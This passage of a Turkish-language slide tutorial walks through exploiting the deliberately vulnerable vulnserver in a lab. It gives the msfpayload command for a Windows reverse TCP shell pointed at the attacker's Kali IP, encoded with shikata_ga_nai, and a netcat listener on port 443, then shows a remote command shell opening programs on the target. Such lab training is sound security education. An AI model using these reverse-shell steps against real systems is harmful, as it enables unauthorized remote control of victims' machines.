  • 27. 23. İstismar kodumuzda ki exploit () olan parantez içerisine Metasploit’un içerisinde bulunan basit bir “reverse Shell” istismar kodunu yerleştiriyoruz. Bunun için komut satırına msfpayload windows/shell_reverse_tcp LHOST=”192.168.124.131″ LPORT=443 EXITFUNC=thread R | msfencode -b ‘x00’ -e x86/shikata_ga_nai komutunu yazıyoruz. Burada LHOST saldırı makinemizin yani kali mizin ip adresini giriyoruz. LPORT kısmına hangi port üzerinden bize bağlanmasını ekliyoruz ve msfencode -b ‘x00’ kısmına ise önceden tespit ettiğimiz kötücül karakterin kullanılmamasını sağlıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 28. 24. Elde edilen istismar kodunu exploit () içerisine kopyalıyoruz ve ardından sırasıyla ctrl + x e basıp kaydettikten sonra chmod a+x okanyildiz yazıp erişime izin veriyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 29. 25. Komut satırına nc –nlvp 443 yazarak Netcat yazılımı üzerinden 443 nolu portu dinlemeye başlıyoruz. Saldırını kodunu çalıştırdığımızda vulnserver çökmez ise ve istismar kodumuz başarılı olurca netcat üzerinden hedef sistemin Windows komut satırını elde edeceğiz. 26. Geliştirdiğimiz istismar kodunu çalıştırıyoruz.Programı çalıştırmadan önce windows makinemizden ​vulnserver ​ı açmayı unutmayalım. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 30. 27. İstismar kodunu çalıştırdıktan sonra Netcat yazılımını kontrol ediyoruz. Görüldüğü üzere saldırımız başarıya ulaştı ve hedef sistemin windows komut satırına ulaştık. Aşağıda verilen Windows komut satırı üzerinden uygulama çalıştırma başlığı altında hedef sistem üzerinde, saldırı makinemizden programlar açacağız. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 31. Windows komut satırı üzerinden uygulama çalıştırma 1. Notepad uygulamasını, kali üzerinden çalıştırmak için notepad.exe yazıp enter a basıyoruz. 2. Hesap makinesi uygulamasını açmak için calc.exe yazıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 32. 3. Disk yönetimini açmak için diskmgmt.msc yazıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 33. 4. Program ekle kaldırı açmak için appwiz.cpl yazıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 34. 5. Görüntü özelliklerini açmak için desk.cpl yazıyoruz. Okan YILDIZ - Senior Software Developer/Security Consultant
  • 35. Okan YILDIZ - Senior Software Developer/Security Consultant